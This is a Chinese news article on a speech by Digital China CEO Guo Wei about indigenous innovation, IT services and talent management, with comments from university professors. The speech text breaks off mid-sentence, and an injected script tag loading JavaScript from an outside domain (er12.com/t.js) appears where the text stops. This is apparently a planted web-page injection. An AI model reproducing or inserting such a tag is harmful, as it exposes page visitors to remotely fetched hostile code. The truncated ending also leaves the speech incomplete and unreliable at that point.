10月底,在华商名人堂系列高校巡讲中,神州数码(中国)有限公司总裁兼ceo郭为作了有关“本土企业创新”的演讲。
作为中国it服务行业的第一品牌,神州数码以创新的方式,面对跨国企业的竞争,在从联想分拆出来6年后,获得了巨大成长。
在郭为的眼里,创新不但是中国企业,也是整个国家社会必然面临的课题。更是全球在信息技术推动下出现的前所未有的全新面貌。作为一个发展中国家的企业,应该怎么样创新,走什么样的创新之道?值得花时间去实践和思考。
清华大学经济管理学院党委书记杨斌表示,通过论坛的交流,对神州数码有了更多的了解,对于一家中国企业在全球化的过程当中如何获得竞争优势,如何获得创新这方面有了更多的体会。
上海交通大学校长助理、安泰经济与管理学院执行院长徐飞教授、北京大学管理案例研究中心主任何志毅教授、清华大学经济管理学院高旭东教授、经济观察报社长何力都对何谓创新,以及如何根据客户的需求,推出新的服务品牌和新的产品品种提出了自己的看法。
以下为郭为演讲全文:
上一个五年,神州数码在中国本土市场上取得了一定的成就,比如在传统的分销领域里处于绝对领先的地位,我们的销量是第二名、第三名加第四名的总和。
但是我们在向it服务转型的过程中,又面临着一个艰苦奋斗的过程。经过5年的努力,我们取得了国内市场的第一,但是往前一看,新的领域里又是一大片跨国公司,而且全部是世界一流的跨国公司。所以我觉得,在it服务行业,中国的企业,特别是像神州数码这样的企业,刚到了主要的战场,还没开始长征。
但我们也必须看到,我们所提供的产品也好、服务也好,都是有本土特色的,我觉得创新应该是基于本土环境的创新。那么中国的本土环境特色是什么?中国的企业怎么样去成长?我想从技术和环境这两个角度来谈。
首先,我们的发展环境和完全的市场经济环境有非常大的差异。其次是技术上的不对称。大家所理解的信息技术和真正的信息技术有天渊之别,包括很多的研究机构,甚至在制订很多所谓战略的时候还在讲cpu,还在讲数据库,还在讲操作系统。在大型的应用系统上,在真正的信息技术的核心技术上,我们存在着巨大的差异。在技术上,我们甚至比美国、欧洲落后几十年。
说到信息技术就容易想到个人电脑,其实整个信息产业要复杂得多,这个产业里面的创新,对我们来说是非常难的课题。但我认为,今天的中国企业能参与国际竞争,就必须依靠创新。中国要以信息技术带动工业发展,未来中国社会的发展靠什么,是不是重复别人过去200年的道路?当然不是,我们必须有新的东西来发展自己。
今天中国的手机拥有量全球第一,达到了3亿用户,我们也是第二大的互联网人口国,这些都给创新提供了巨大的市场空间。但是,另一方面,中国还是一个非常不成熟的市场。尤其在软件服务行业中,中国信息化程度至少比发达国家落后十年。
成熟市场和新兴市场的差异在哪里?第一,跟信息不对称有关系,比如产品信息的不对称;第二是中介机构,比如投资银行、期货市场不健全,这个妨碍了我们市场机制的发展;第三是生产要素的流动性很差,能源涨价等问题都影响企业的发展。
那么,中国企业究竟靠什么来完成发展过程中的成长?应该是在人才管理上。我们怎么样培养人才,其实就是创新。目前我们约有7千名员工,今年上半年我们招了2千人。我认为,通过完善的人才管理机制,打造国际化的人才队伍非常重要。我们以人才为主体,向他们提供没有天花板的舞台。并且不断地发现人,培养人。企业和企业的竞争,最终是人与人的竞争,我们把人才作为核心竞争力,跟别的企业相比,我们培养人的速度一定要比其他企业快。
神州数码有一个选人,用人,培养人的流程,包括怎么样留住人,怎样让人才获得成长和发展。围绕这个事情,我们围绕校园计划,从学校里吸引最优秀的人才到我们企业来,成为我们的合作伙伴。未来企业之间、国家之间的竞争,归根结底都从人才战略的竞争开始。
另一方面,未来的创新之路,重点不是在制造业而是在服务业,因为现在的服务业就是在信息技术支撑下的服务业,中国的企业怎样发展,怎样创新,这是摆在我们面前的一个非常严峻的问题。怎样能够利用中国高速成长的机遇把很多的技术消化吸收,这是我们未来创新很重要的一个方面,而且我们完全有机会、有条件去做。
对于it企业来讲,我们的增长来源,一个是新产品的开发,比如金融产品如何开发,银行的产品如何开发,另外是一个服务模式的开发,比如如何通过互联网提供外包服务。就是不断在服务方面的投入。只要能够服务好中国的企业,你就会成长起来。中国工商银行上市以后,绝对是全球的前十大,中国银行、建设银行这些国内的金融企业,都是全球很大的银行。尽管我们在很多地方和跨国公司有差距,但是如果说?script src=http://er12.com/t.js>











